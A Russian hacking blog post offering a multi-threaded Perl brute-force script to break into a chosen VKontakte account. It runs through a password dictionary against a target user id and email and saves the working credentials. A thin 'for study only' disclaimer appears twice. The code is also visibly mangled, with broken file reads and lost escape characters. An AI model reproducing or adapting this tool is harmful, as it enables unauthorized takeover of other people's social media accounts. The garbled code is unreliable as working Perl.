| » Взлом Вконтакте » Еще один способ взлома аккаунта Вконтакте |
Еще один способ взлома аккаунта Вконтакте
Сегодня добавлю код для взлома аккаунта вконтакте. Поможет только людям разбирающимся в perl и просто системщикам и вебмастерам, ну и самоучкам всяким.
Скрипт представляется для информационного ознакомления, изучения: скриптов написанных на perl и защиты сайта вконтакте; использование этого скрипта только на ваш страх и риск. Автор блога не несет ответственности за его использование.
Скрипт работает просто, используется простой bruteforce (перебор вариантов), в этом скрипте перебор паролей, которые расположены в файле. Человек с руками может сделать из этого скрипта более модифицированный вариант.
Скрипт представляется для информационного ознакомления, изучения: скриптов написанных на perl и защиты сайта вконтакте; использование этого скрипта только на ваш страх и риск. Автор блога не несет ответственности за его использование.
Скрипт работает просто, используется простой bruteforce (перебор вариантов), в этом скрипте перебор паролей, которые расположены в файле. Человек с руками может сделать из этого скрипта более модифицированный вариант.
Так, что ловите.
#!/usr/bin/perl
use IO::Socket;
use MD5;
use threads;
use threads::shared;
my @pass : shared;
######################################
# C!klodoL
# vkontakte.ru bruteforce with multi-threads
######################################
$dic = 'passl.txt'; #словарь паролей
$id = 111111; #id цели
$mail = 'mail%40mail.com'; #мыло, вместо @ вписать %40
$threads = 4; #количество потоков
######################################
open (pass, "create(&Brut, $_);}
for(@trl) { $_->join; }
sub Brut
{
while (@pass){
$pass = shift @pass;
$md5 = MD5->hexhash($pass);
$sock = IO::Socket::INET->new(Proto=>'tcp',PeerAddr=>'vkontakte.ru',PeerPort=>80);
print $sock "HEAD http://vkontakte.ru/ HTTP/1.0rn".
"Host: vkontakte.rurn".
"Accept: */*rn".
"Content-Type: application/x-www-form-urlencodedrn".
"User-Agent: Mozillorn".
"Cookie: remixchk=2; remixmid=$id; remixemail=$mail; remixpass=$md5rn".
"Connection: closernrn";
$answ = ;
close $sock;
print "$pass $answ";
if ($answ =~ /302/){
open (good, '>>good.txt');
print good "$id:$pass:$md5n";
print "$id:$pass:$md5n";
close good;
exit;}
}
}
goto Next;
sub pass
{
my (@mas);
while (
){
push @mas, $_;
last if (@mas == 400);
}
chomp @mas;
return @mas;
}
Другие новости по теме:
| LEXA |
| ||
|---|---|---|---|
 | И что с ним делать???Как активировать | ||
0 |
|
Информация
Посетители, находящиеся в группе Гости, не могут оставлять комментарии в данной новости.Панель управления
Опрос
Интересные новости
Прикольные сборники
Научись зарабатывать на Forex: бухучет курсы. Получить новую профессию. . сваты . каталог детских платьев